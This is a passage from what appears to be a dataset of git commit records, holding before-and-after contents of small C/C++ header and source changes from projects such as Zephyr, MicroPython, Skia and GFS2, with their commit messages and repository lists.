ignmotion\/libcouchbase,couchbase\/libcouchbase,PureSwift\/libcouchbase,PureSwift\/libcouchbase,avsej\/libcouchbase,mody\/libcouchbase,mody\/libcouchbase,kojiromike\/libcouchbase,trondn\/libcouchbase,signmotion\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,uvenum\/libcouchbase,signmotion\/libcouchbase,maxim-ky\/libcouchbase"}
{"commit":"be4d546b9b4e23bb379282cb65e76944c80d1371","old_file":"src\/amx_profiler\/profile_writer.h","new_file":"src\/amx_profiler\/profile_writer.h","old_contents":"\/\/ AMX profiler for SA-MP server: http:\/\/sa-mp.com\r\n\/\/\r\n\/\/ Copyright (C) 2011-2012 Sergey Zolotarev\r\n\/\/\r\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\r\n\/\/ you may not use this file except in compliance with the License.\r\n\/\/ You may obtain a copy of the License at\r\n\/\/\r\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\/\/\r\n\/\/ Unless required by applicable law or agreed to in writing, software\r\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\r\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n\/\/ See the License for the specific language governing permissions and\r\n\/\/ limitations under the License.\r\n\r\n#ifndef AMX_PROFILER_PROFILE_WRITER_H\r\n#define AMX_PROFILER_PROFILE_WRITER_H\r\n\r\n#include <memory>\r\n#include <ostream>\r\n#include <vector>\r\n#include \"function_info.h\"\r\n\r\nnamespace amx_profiler {\r\n\r\nclass FunctionInfo;\r\n\r\nclass ProfileWriter {\r\npublic:\r\n\tvirtual void Write(const std::string &script_name, std::ostream &stream,\r\n\t\t\tconst std::vector<FunctionInfoPtr> &stats) = 0;\r\n};\r\n\r\n} \/\/ namespace amx_profiler\r\n\r\n#endif \/\/ !AMX_PROFILER_PROFILE_WRITER_H\r\n","new_contents":"\/\/ AMX profiler for SA-MP server: http:\/\/sa-mp.com\r\n\/\/\r\n\/\/ Copyright (C) 2011-2012 Sergey Zolotarev\r\n\/\/\r\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\r\n\/\/ you may not use this file except in compliance with the License.\r\n\/\/ You may obtain a copy of the License at\r\n\/\/\r\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n\/\/\r\n\/\/ Unless required by applicable law or agreed to in writing, software\r\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\r\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n\/\/ See the License for the specific language governing permissions and\r\n\/\/ limitations under the License.\r\n\r\n#ifndef AMX_PROFILER_PROFILE_WRITER_H\r\n#define AMX_PROFILER_PROFILE_WRITER_H\r\n\r\n#include <memory>\r\n#include <ostream>\r\n#include <vector>\r\n#include \"function_info.h\"\r\n\r\nnamespace amx_profiler {\r\n\r\nclass ProfileWriter {\r\npublic:\r\n\tvirtual void Write(const std::string &script_name, std::ostream &stream,\r\n\t\t\tconst std::vector<FunctionInfoPtr> &stats) = 0;\r\n};\r\n\r\n} \/\/ namespace amx_profiler\r\n\r\n#endif \/\/ !AMX_PROFILER_PROFILE_WRITER_H\r\n","subject":"Remove useless forward declaration of FunctionInfo","message":"Remove useless forward declaration of FunctionInfo\n","lang":"C","license":"bsd-2-clause","repos":"Zeex\/samp-plugin-profiler,Zeex\/samp-plugin-profiler"}
{"commit":"b98f39c0e86e42242d93c7ca7d8e1ff55f5839fa","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#pragma once\n#include <unistd.h>\n\n#include <iostream>\n#include <list>\n#include <map>\n#include <mutex>\n#include <unordered_map>\n#include <queue>\n#include <sstream>\n#include <set>\n#include <thread>\n#include <tuple>\n#include <vector>","new_contents":"#pragma once\n#include <unistd.h>\n\n#include <fstream>\n#include <iostream>\n#include <list>\n#include <map>\n#include <mutex>\n#include <unordered_map>\n#include <queue>\n#include <sstream>\n#include <set>\n#include <thread>\n#include <tuple>\n#include <vector>","subject":"Include fstream for file reading and such.","message":"Include fstream for file reading and such.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"cd1344fe322cd9d95b2c0f011d6766677cfcb29b","old_file":"include\/linux\/gfs2_ioctl.h","new_file":"include\/linux\/gfs2_ioctl.h","old_contents":"\/*\n * Copyright (C) Sistina Software, Inc.  1997-2003 All rights reserved.\n * Copyright (C) 2004-2005 Red Hat, Inc.  All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License v.2.\n *\/\n\n#ifndef __GFS2_IOCTL_DOT_H__\n#define __GFS2_IOCTL_DOT_H__\n\n#define _GFS2C_(x)               (('G' << 16) | ('2' << 8) | (x))\n\n\/* Ioctls implemented *\/\n\n#define GFS2_IOCTL_IDENTIFY      _GFS2C_(1)\n#define GFS2_IOCTL_SUPER         _GFS2C_(2)\n#define GFS2_IOCTL_SETFLAGS      _GFS2C_(3)\n#define GFS2_IOCTL_GETFLAGS      _GFS2C_(4)\n\nstruct gfs2_ioctl {\n\tunsigned int gi_argc;\n\tconst char **gi_argv;\n\n        char __user *gi_data;\n\tunsigned int gi_size;\n\tuint64_t gi_offset;\n};\n\n#endif \/* ___GFS2_IOCTL_DOT_H__ *\/\n\n","new_contents":"\/*\n * Copyright (C) Sistina Software, Inc.  1997-2003 All rights reserved.\n * Copyright (C) 2004-2005 Red Hat, Inc.  All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License v.2.\n *\/\n\n#ifndef __GFS2_IOCTL_DOT_H__\n#define __GFS2_IOCTL_DOT_H__\n\n#define _GFS2C_(x)               (('G' << 16) | ('2' << 8) | (x))\n\n\/* Ioctls implemented *\/\n\n#define GFS2_IOCTL_SETFLAGS      _GFS2C_(3)\n#define GFS2_IOCTL_GETFLAGS      _GFS2C_(4)\n\n#endif \/* ___GFS2_IOCTL_DOT_H__ *\/\n\n","subject":"Remove unused ioctls and unused structure","message":"[GFS2] Remove unused ioctls and unused structure\n\nSigned-off-by: David Teigland <cf7ba74ea50525d3d47fcd7a6d69b51121a9f873@redhat.com>\nSigned-off-by: Steven Whitehouse <9801c4ef11586b619a1c43ac9377eea2aee672dd@redhat.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"0b8792c05c59b3eb9dad6eb054618d8e9f7cacc7","old_file":"lib\/cmsis_rtos_v1\/cmsis_kernel.c","new_file":"lib\/cmsis_rtos_v1\/cmsis_kernel.c","old_contents":"\/*\n * Copyright (c) 2018 Intel Corporation\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <kernel_structs.h>\n#include <cmsis_os.h>\n#include <ksched.h>\n\nextern const k_tid_t _main_thread;\n\n\/**\n * @brief Get the RTOS kernel system timer counter\n *\/\nuint32_t osKernelSysTick(void)\n{\n\treturn k_cycle_get_32();\n}\n\n\/**\n * @brief Initialize the RTOS Kernel for creating objects.\n *\/\nosStatus osKernelInitialize(void)\n{\n\treturn osOK;\n}\n\n\/**\n * @brief Start the RTOS Kernel.\n *\/\nosStatus osKernelStart(void)\n{\n\treturn osOK;\n}\n\n\/**\n * @brief Check if the RTOS kernel is already started.\n *\/\nint32_t osKernelRunning(void)\n{\n\treturn _has_thread_started(_main_thread);\n}\n","new_contents":"\/*\n * Copyright (c) 2018 Intel Corporation\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <kernel_structs.h>\n#include <cmsis_os.h>\n#include <ksched.h>\n\nextern const k_tid_t _main_thread;\n\n\/**\n * @brief Get the RTOS kernel system timer counter\n *\/\nuint32_t osKernelSysTick(void)\n{\n\treturn k_cycle_get_32();\n}\n\n\/**\n * @brief Initialize the RTOS Kernel for creating objects.\n *\/\nosStatus osKernelInitialize(void)\n{\n\treturn osOK;\n}\n\n\/**\n * @brief Start the RTOS Kernel.\n *\/\nosStatus osKernelStart(void)\n{\n\t if (_is_in_isr()) {\n\t\t return osErrorISR;\n\t }\n\t return osOK;\n}\n\n\/**\n * @brief Check if the RTOS kernel is already started.\n *\/\nint32_t osKernelRunning(void)\n{\n\treturn _has_thread_started(_main_thread);\n}\n","subject":"Check if osKernelStart() is called from ISR","message":"lib\/cmsis_rtos_v1: Check if osKernelStart() is called from ISR\n\nCheck if osKernelStart() is called from ISR and return error code\nappropriately.\n\nSigned-off-by: Spoorthi K <c4ff46ff4cba9c2c6c6c9d55497ae534451b4309@intel.com>\n","lang":"C","license":"apache-2.0","repos":"explora26\/zephyr,explora26\/zephyr,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,GiulianoFranchetto\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,punitvara\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,nashif\/zephyr,GiulianoFranchetto\/zephyr,galak\/zephyr,punitvara\/zephyr,punitvara\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,punitvara\/zephyr,nashif\/zephyr,ldts\/zephyr,Vudentz\/zephyr,galak\/zephyr,kraj\/zephyr,galak\/zephyr,punitvara\/zephyr,Vudentz\/zephyr,nashif\/zephyr,explora26\/zephyr,kraj\/zephyr,Vudentz\/zephyr,ldts\/zephyr,nashif\/zephyr,ldts\/zephyr,kraj\/zephyr,ldts\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,explora26\/zephyr,Vudentz\/zephyr,ldts\/zephyr,finikorg\/zephyr,explora26\/zephyr,finikorg\/zephyr,kraj\/zephyr,kraj\/zephyr,galak\/zephyr"}
{"commit":"f00035de368a5a8ed8bcb7c9eec06bedf1c5dfe3","old_file":"include\/utils.h","new_file":"include\/utils.h","old_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include <curses.h>\n#include <stdint.h>\n\nvoid color_str(WINDOW *, uint32_t, uint32_t, int16_t, int16_t, const char *);\nvoid init_seed_srand(void);\n\n#endif \/* UTILS_H *\/\n","new_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include <curses.h>\n#include <stdint.h>\n\n#define MIN(a,b) (((a)<(b))?(a):(b))\n#define MAX(a,b) (((a)>(b))?(a):(b))\n\nvoid color_str(WINDOW *, uint32_t, uint32_t, int16_t, int16_t, const char *);\nvoid init_seed_srand(void);\n\n#endif \/* UTILS_H *\/\n","subject":"Add MIN and MAX macros.","message":"Add MIN and MAX macros.\n","lang":"C","license":"mit","repos":"svagionitis\/gridNcurses,svagionitis\/gridNcurses,svagionitis\/gridNcurses"}
{"commit":"2af846e7114e98c2883061ffbd0e43adc24033d3","old_file":"stmhal\/boards\/stm32f4xx_prefix.c","new_file":"stmhal\/boards\/stm32f4xx_prefix.c","old_contents":"\/\/ stm32f4xx_prefix.c becomes the initial portion of the generated pins file.\n\n#include <stdio.h>\n\n#include \"py\/obj.h\"\n#include \"pin.h\"\n#include MICROPY_HAL_H\n\n#define AF(af_idx, af_fn, af_unit, af_type, af_ptr) \\\n{ \\\n    { &pin_af_type }, \\\n    .name = MP_QSTR_AF ## af_idx ## _ ## af_fn ## af_unit, \\\n    .idx = (af_idx), \\\n    .fn = AF_FN_ ## af_fn, \\\n    .unit = (af_unit), \\\n    .type = AF_PIN_TYPE_ ## af_fn ## _ ## af_type, \\\n    .af_fn = (af_ptr) \\\n}\n\n#define PIN(p_port, p_pin, p_af, p_adc_num, p_adc_channel) \\\n{ \\\n    { &pin_type }, \\\n    .name = MP_QSTR_ ## p_port ## p_pin, \\\n    .port = PORT_ ## p_port, \\\n    .pin = (p_pin), \\\n    .num_af = (sizeof(p_af) \/ sizeof(pin_obj_t)), \\\n    .pin_mask = (1 << ((p_pin) & 0x0f)), \\\n    .gpio = GPIO ## p_port, \\\n    .af = p_af, \\\n    .adc_num = p_adc_num, \\\n    .adc_channel = p_adc_channel, \\\n}\n","new_contents":"\/\/ stm32f4xx_prefix.c becomes the initial portion of the generated pins file.\n\n#include <stdio.h>\n\n#include \"py\/obj.h\"\n#include \"pin.h\"\n#include MICROPY_HAL_H\n\n#define AF(af_idx, af_fn, af_unit, af_type, af_ptr) \\\n{ \\\n    { &pin_af_type }, \\\n    .name = MP_QSTR_AF ## af_idx ## _ ## af_fn ## af_unit, \\\n    .idx = (af_idx), \\\n    .fn = AF_FN_ ## af_fn, \\\n    .unit = (af_unit), \\\n    .type = AF_PIN_TYPE_ ## af_fn ## _ ## af_type, \\\n    .af_fn = (af_ptr) \\\n}\n\n#define PIN(p_port, p_pin, p_af, p_adc_num, p_adc_channel) \\\n{ \\\n    { &pin_type }, \\\n    .name = MP_QSTR_ ## p_port ## p_pin, \\\n    .port = PORT_ ## p_port, \\\n    .pin = (p_pin), \\\n    .num_af = (sizeof(p_af) \/ sizeof(pin_af_obj_t)), \\\n    .pin_mask = (1 << ((p_pin) & 0x0f)), \\\n    .gpio = GPIO ## p_port, \\\n    .af = p_af, \\\n    .adc_num = p_adc_num, \\\n    .adc_channel = p_adc_channel, \\\n}\n","subject":"Fix alt function number calculation","message":"stmhal\/boards\/stm32fxx_prefix.c: Fix alt function number calculation\n\nThis prevented pin_find_af* functions from being able to find some\nof the alternate functions in the pin struct\n","lang":"C","license":"mit","repos":"blmorris\/micropython,matthewelse\/micropython,pramasoul\/micropython,feilongfl\/micropython,ceramos\/micropython,turbinenreiter\/micropython,martinribelotta\/micropython,MrSurly\/micropython-esp32,stonegithubs\/micropython,hiway\/micropython,noahchense\/micropython,rubencabrera\/micropython,dmazzella\/micropython,ahotam\/micropython,tuc-osg\/micropython,hiway\/micropython,martinribelotta\/micropython,dmazzella\/micropython,skybird6672\/micropython,drrk\/micropython,ruffy91\/micropython,dhylands\/micropython,HenrikSolver\/micropython,HenrikSolver\/micropython,redbear\/micropython,xyb\/micropython,swegener\/micropython,henriknelson\/micropython,mpalomer\/micropython,vitiral\/micropython,rubencabrera\/micropython,Peetz0r\/micropython-esp32,cloudformdesign\/micropython,toolmacher\/micropython,danicampora\/micropython,cloudformdesign\/micropython,pozetroninc\/micropython,tuc-osg\/micropython,swegener\/micropython,selste\/micropython,noahchense\/micropython,henriknelson\/micropython,dhylands\/micropython,dhylands\/micropython,alex-march\/micropython,mianos\/micropython,danicampora\/micropython,ahotam\/micropython,cwyark\/micropython,tuc-osg\/micropython,tdautc19841202\/micropython,toolmacher\/micropython,TDAbboud\/micropython,ruffy91\/micropython,noahwilliamsson\/micropython,trezor\/micropython,pramasoul\/micropython,supergis\/micropython,emfcamp\/micropython,SHA2017-badge\/micropython-esp32,ruffy91\/micropython,cloudformdesign\/micropython,ceramos\/micropython,infinnovation\/micropython,torwag\/micropython,dmazzella\/micropython,ChuckM\/micropython,galenhz\/micropython,mianos\/micropython,mianos\/micropython,orionrobots\/micropython,ernesto-g\/micropython,cnoviello\/micropython,rubencabrera\/micropython,heisewangluo\/micropython,xyb\/micropython,PappaPeppar\/micropython,alex-march\/micropython,noahwilliamsson\/micropython,kerneltask\/micropython,matthewelse\/micropython,dxxb\/micropython,blazewicz\/micropython,mianos\/micropython,mgyenik\/micropython,SHA2017-badge\/micropython-esp32,adamkh\/micropython,ChuckM\/micropython,omtinez\/micropython,AriZuu\/micropython,firstval\/micropython,blmorris\/micropython,firstval\/micropython,emfcamp\/micropython,swegener\/micropython,jlillest\/micropython,chrisdearman\/micropython,Peetz0r\/micropython-esp32,ganshun666\/micropython,puuu\/micropython,ceramos\/micropython,EcmaXp\/micropython,oopy\/micropython,lbattraw\/micropython,tralamazza\/micropython,stonegithubs\/micropython,ericsnowcurrently\/micropython,EcmaXp\/micropython,ahotam\/micropython,henriknelson\/micropython,noahwilliamsson\/micropython,drrk\/micropython,alex-robbins\/micropython,bvernoux\/micropython,tralamazza\/micropython,turbinenreiter\/micropython,ericsnowcurrently\/micropython,hiway\/micropython,jmarcelino\/pycom-micropython,tralamazza\/micropython,misterdanb\/micropython,lowRISC\/micropython,feilongfl\/micropython,SHA2017-badge\/micropython-esp32,hiway\/micropython,kostyll\/micropython,dmazzella\/micropython,alex-march\/micropython,drrk\/micropython,praemdonck\/micropython,kostyll\/micropython,MrSurly\/micropython,ryannathans\/micropython,AriZuu\/micropython,bvernoux\/micropython,adafruit\/micropython,henriknelson\/micropython,alex-robbins\/micropython,supergis\/micropython,bvernoux\/micropython,blazewicz\/micropython,henriknelson\/micropython,selste\/micropython,vriera\/micropython,mgyenik\/micropython,vitiral\/micropython,dinau\/micropython,dinau\/micropython,lbattraw\/micropython,blmorris\/micropython,PappaPeppar\/micropython,adafruit\/micropython,praemdonck\/micropython,kostyll\/micropython,martinribelotta\/micropython,omtinez\/micropython,pfalcon\/micropython,redbear\/micropython,lowRISC\/micropython,orionrobots\/micropython,supergis\/micropython,rubencabrera\/micropython,heisewangluo\/micropython,orionrobots\/micropython,jmarcelino\/pycom-micropython,mpalomer\/micropython,lowRISC\/micropython,emfcamp\/micropython,TDAbboud\/micropython,ganshun666\/micropython,HenrikSolver\/micropython,mgyenik\/micropython,ganshun666\/micropython,kerneltask\/micropython,tobbad\/micropython,hiway\/micropython,ChuckM\/micropython,oopy\/micropython,tdautc19841202\/micropython,alex-robbins\/micropython,praemdonck\/micropython,adamkh\/micropython,firstval\/micropython,infinnovation\/micropython,EcmaXp\/micropython,ruffy91\/micropython,pozetroninc\/micropython,adafruit\/micropython,mpalomer\/micropython,galenhz\/micropython,ganshun666\/micropython,micropython\/micropython-esp32,Peetz0r\/micropython-esp32,adamkh\/micropython,martinribelotta\/micropython,jlillest\/micropython,pozetroninc\/micropython,puuu\/micropython,ahotam\/micropython,ryannathans\/micropython,pfalcon\/micropython,firstval\/micropython,pozetroninc\/micropython,chrisdearman\/micropython,jmarcelino\/pycom-micropython,bvernoux\/micropython,drrk\/micropython,chrisdearman\/micropython,drrk\/micropython,tuc-osg\/micropython,xyb\/micropython,pfalcon\/micropython,xhat\/micropython,puuu\/micropython,adamkh\/micropython,infinnovation\/micropython,AriZuu\/micropython,omtinez\/micropython,tobbad\/micropython,xhat\/micropython,oopy\/micropython,xuxiaoxin\/micropython,hosaka\/micropython,pozetroninc\/micropython,puuu\/micropython,MrSurly\/micropython-esp32,heisewangluo\/micropython,stonegithubs\/micropython,martinribelotta\/micropython,deshipu\/micropython,dxxb\/micropython,kerneltask\/micropython,toolmacher\/micropython,ryannathans\/micropython,swegener\/micropython,cwyark\/micropython,danicampora\/micropython,tobbad\/micropython,deshipu\/micropython,danicampora\/micropython,kostyll\/micropython,skybird6672\/micropython,selste\/micropython,adafruit\/circuitpython,ernesto-g\/micropython,cnoviello\/micropython,SHA2017-badge\/micropython-esp32,TDAbboud\/micropython,alex-robbins\/micropython,mgyenik\/micropython,AriZuu\/micropython,ericsnowcurrently\/micropython,misterdanb\/micropython,dxxb\/micropython,Peetz0r\/micropython-esp32,galenhz\/micropython,emfcamp\/micropython,hosaka\/micropython,kerneltask\/micropython,noahchense\/micropython,chrisdearman\/micropython,cwyark\/micropython,MrSurly\/micropython,kerneltask\/micropython,lbattraw\/micropython,hosaka\/micropython,cnoviello\/micropython,HenrikSolver\/micropython,ganshun666\/micropython,adafruit\/circuitpython,TDAbboud\/micropython,trezor\/micropython,misterdanb\/micropython,matthewelse\/micropython,redbear\/micropython,noahchense\/micropython,adamkh\/micropython,lbattraw\/micropython,omtinez\/micropython,hosaka\/micropython,utopiaprince\/micropython,mianos\/micropython,alex-march\/micropython,EcmaXp\/micropython,xuxiaoxin\/micropython,vriera\/micropython,torwag\/micropython,supergis\/micropython,matthewelse\/micropython,PappaPeppar\/micropython,vitiral\/micropython,mhoffma\/micropython,pramasoul\/micropython,hosaka\/micropython,vriera\/micropython,jlillest\/micropython,Peetz0r\/micropython-esp32,jmarcelino\/pycom-micropython,cnoviello\/micropython,ceramos\/micropython,xuxiaoxin\/micropython,ceramos\/micropython,MrSurly\/micropython-esp32,firstval\/micropython,vriera\/micropython,neilh10\/micropython,toolmacher\/micropython,puuu\/micropython,utopiaprince\/micropython,dinau\/micropython,adafruit\/circuitpython,jmarcelino\/pycom-micropython,skybird6672\/micropython,ernesto-g\/micropython,xuxiaoxin\/micropython,deshipu\/micropython,HenrikSolver\/micropython,MrSurly\/micropython-esp32,praemdonck\/micropython,micropython\/micropython-esp32,oopy\/micropython,cwyark\/micropython,dhylands\/micropython,skybird6672\/micropython,turbinenreiter\/micropython,noahchense\/micropython,pramasoul\/micropython,blazewicz\/micropython,ChuckM\/micropython,trezor\/micropython,torwag\/micropython,neilh10\/micropython,xyb\/micropython,turbinenreiter\/micropython,dxxb\/micropython,adafruit\/circuitpython,noahwilliamsson\/micropython,trezor\/micropython,noahwilliamsson\/micropython,supergis\/micropython,jlillest\/micropython,Timmenem\/micropython,misterdanb\/micropython,toolmacher\/micropython,MrSurly\/micropython-esp32,redbear\/micropython,blazewicz\/micropython,heisewangluo\/micropython,emfcamp\/micropython,ryannathans\/micropython,vitiral\/micropython,danicampora\/micropython,ernesto-g\/micropython,utopiaprince\/micropython,xhat\/micropython,matthewelse\/micropython,tuc-osg\/micropython,galenhz\/micropython,ruffy91\/micropython,cloudformdesign\/micropython,selste\/micropython,micropython\/micropython-esp32,xuxiaoxin\/micropython,xhat\/micropython,EcmaXp\/micropython,ryannathans\/micropython,deshipu\/micropython,utopiaprince\/micropython,xhat\/micropython,mhoffma\/micropython,lbattraw\/micropython,feilongfl\/micropython,micropython\/micropython-esp32,MrSurly\/micropython,deshipu\/micropython,vitiral\/micropython,MrSurly\/micropython,adafruit\/micropython,omtinez\/micropython,TDAbboud\/micropython,dxxb\/micropython,cnoviello\/micropython,selste\/micropython,mhoffma\/micropython,alex-march\/micropython,skybird6672\/micropython,xyb\/micropython,mhoffma\/micropython,kostyll\/micropython,heisewangluo\/micropython,blmorris\/micropython,dinau\/micropython,dhylands\/micropython,praemdonck\/micropython,cwyark\/micropython,trezor\/micropython,Timmenem\/micropython,cloudformdesign\/micropython,ahotam\/micropython,neilh10\/micropython,mgyenik\/micropython,Timmenem\/micropython,neilh10\/micropython,ericsnowcurrently\/micropython,Timmenem\/micropython,dinau\/micropython,pramasoul\/micropython,stonegithubs\/micropython,mpalomer\/micropython,galenhz\/micropython,ericsnowcurrently\/micropython,orionrobots\/micropython,SHA2017-badge\/micropython-esp32,lowRISC\/micropython,lowRISC\/micropython,utopiaprince\/micropython,mhoffma\/micropython,tdautc19841202\/micropython,PappaPeppar\/micropython,tralamazza\/micropython,MrSurly\/micropython,ernesto-g\/micropython,blmorris\/micropython,infinnovation\/micropython,stonegithubs\/micropython,orionrobots\/micropython,adafruit\/micropython,vriera\/micropython,chrisdearman\/micropython,feilongfl\/micropython,turbinenreiter\/micropython,PappaPeppar\/micropython,tdautc19841202\/micropython,AriZuu\/micropython,bvernoux\/micropython,rubencabrera\/micropython,feilongfl\/micropython,ChuckM\/micropython,tdautc19841202\/micropython,blazewicz\/micropython,pfalcon\/micropython,misterdanb\/micropython,tobbad\/micropython,swegener\/micropython,alex-robbins\/micropython,Timmenem\/micropython,neilh10\/micropython,tobbad\/micropython,redbear\/micropython,torwag\/micropython,infinnovation\/micropython,mpalomer\/micropython,jlillest\/micropython,matthewelse\/micropython,adafruit\/circuitpython,pfalcon\/micropython,adafruit\/circuitpython,micropython\/micropython-esp32,oopy\/micropython,torwag\/micropython"}
{"commit":"45481b53b756642f2194ceef38d3c14f1f53d6a9","old_file":"src\/run_time_error.h","new_file":"src\/run_time_error.h","old_contents":"#ifndef SETI_EXCEPTION_H\n#define SETI_EXCEPTION_H\n\n#include <exception>\n#include <string>\n#include <boost\/format.hpp>\n\nnamespace setti {\nnamespace internal {\n\n\/**\n * @brief Class to represent an run time error\n *\n * This class encapsulates run time error, and it is\n * used to represent errors as symbol not found,\n * command not found and out of range\n *\/\nclass RunTimeError : public std::exception {\n public:\n  enum class ErrorCode: uint8_t{\n    NULL_ACCESS,\n    SYMBOL_NOT_FOUND,\n    CMD_NOT_FOUND,\n    OUT_OF_RANGE,\n    KEY_NOT_FOUND,\n    INCOMPATIBLE_TYPE\n  };\n\n  RunTimeError();\n\n  RunTimeError(ErrorCode code, const boost::format& msg)\n      : code_(code), msg_(msg) {}\n\n  virtual ~RunTimeError() noexcept  = default;\n\n  \/**\n   * @return the error description and the context as a text string.\n   *\/\n  virtual const char* what() const noexcept {\n    msg_.str().c_str();\n  }\n\n  ErrorCode code_;\n  const boost::format& msg_;\n};\n\n}\n}\n\n#endif  \/\/ SETI_EXCEPTION_H\n","new_contents":"#ifndef SETI_EXCEPTION_H\n#define SETI_EXCEPTION_H\n\n#include <exception>\n#include <string>\n#include <boost\/format.hpp>\n\nnamespace setti {\nnamespace internal {\n\n\/**\n * @brief Class to represent an run time error\n *\n * This class encapsulates run time error, and it is\n * used to represent errors as symbol not found,\n * command not found and out of range\n *\/\nclass RunTimeError : public std::exception {\n public:\n  enum class ErrorCode: uint8_t{\n    NULL_ACCESS,\n    SYMBOL_NOT_FOUND,\n    CMD_NOT_FOUND,\n    OUT_OF_RANGE,\n    KEY_NOT_FOUND,\n    INCOMPATIBLE_TYPE\n  };\n\n  RunTimeError();\n\n  RunTimeError(ErrorCode code, const boost::format& msg)\n      : code_(code), msg_(boost::str(msg)) {}\n\n  virtual ~RunTimeError() noexcept  = default;\n\n  \/**\n   * @return the error description and the context as a text string.\n   *\/\n  virtual const char* what() const noexcept {\n    msg_.c_str();\n  }\n\n  ErrorCode code_;\n  std::string msg_;\n};\n\n}\n}\n\n#endif  \/\/ SETI_EXCEPTION_H\n","subject":"Fix run time error message","message":"Fix run time error message\n","lang":"C","license":"apache-2.0","repos":"alexst07\/shell-plus-plus,alexst07\/shell-plus-plus,alexst07\/setti,alexst07\/seti,alexst07\/shell-plus-plus"}
{"commit":"d689f7a5313a7fd501c2572c493fe6d91a88cba4","old_file":"src\/gpu\/effects\/GrProxyMove.h","new_file":"src\/gpu\/effects\/GrProxyMove.h","old_contents":"\/*\n * Copyright 2013 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrProxyMove_DEFINED\n#define GrProxyMove_DEFINED\n\n\/\/ In a few places below we rely on braced initialization order being defined by the C++ spec (left\n\/\/ to right). We use operator-> on a sk_sp and then in a later argument std::move() the sk_sp. GCC\n\/\/ 4.9.0 and earlier has a bug where the left to right order evaluation isn't implemented correctly.\n#if defined(__GNUC__) && !defined(__clang__)\n#   define GCC_VERSION (__GNUC__ * 10000  + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#   if (GCC_VERSION > 40900)\n#       define GCC_EVAL_ORDER_BUG 0\n#   else\n#       define GCC_EVAL_ORDER_BUG 1\n#   endif\n#   undef GCC_VERSION\n#else\n#   define GCC_EVAL_ORDER_BUG 0\n#endif\n\n#if GCC_EVAL_ORDER_BUG\n#   define GR_PROXY_MOVE(X) (X)\n#else\n#   define GR_PROXY_MOVE(X) (std::move(X))\n#endif\n\n#undef GCC_EVAL_ORDER_BUG\n\n#endif\n","new_contents":"\/*\n * Copyright 2013 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrProxyMove_DEFINED\n#define GrProxyMove_DEFINED\n\n\/\/ In a few places below we rely on braced initialization order being defined by the C++ spec (left\n\/\/ to right). We use operator-> on a sk_sp and then in a later argument std::move() the sk_sp. GCC\n\/\/ 4.9.0 and earlier has a bug where the left to right order evaluation isn't implemented correctly.\n\/\/\n\/\/ Clang has the same bug when targeting Windows (http:\/\/crbug.com\/687259).\n\/\/ TODO(hans): Remove work-around once Clang is fixed.\n#if defined(__GNUC__) && !defined(__clang__)\n#   define GCC_VERSION (__GNUC__ * 10000  + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#   if (GCC_VERSION > 40900)\n#       define GCC_EVAL_ORDER_BUG 0\n#   else\n#       define GCC_EVAL_ORDER_BUG 1\n#   endif\n#   undef GCC_VERSION\n#elif defined(_MSC_VER) && defined(__clang__)\n#   define GCC_EVAL_ORDER_BUG 1\n#else\n#   define GCC_EVAL_ORDER_BUG 0\n#endif\n\n#if GCC_EVAL_ORDER_BUG\n#   define GR_PROXY_MOVE(X) (X)\n#else\n#   define GR_PROXY_MOVE(X) (std::move(X))\n#endif\n\n#undef GCC_EVAL_ORDER_BUG\n\n#endif\n","subject":"Work around Win\/Clang eval order bug","message":"GR_PROXY_MOVE: Work around Win\/Clang eval order bug\n\nBUG=chromium:687259\n\nChange-Id: I145dac240a3c4f89cf1b6bf6ff54ba73cd110ebf\nReviewed-on: https:\/\/skia-review.googlesource.com\/7831\nReviewed-by: Hans Wennborg <a07172e79c6f961ccb614746feeee38b5e9a6399@google.com>\nReviewed-by: Brian Salomon <61fabaaf0876044aeedfd8e351e485c028d69e7b@google.com>\nCommit-Queue: Robert Phillips 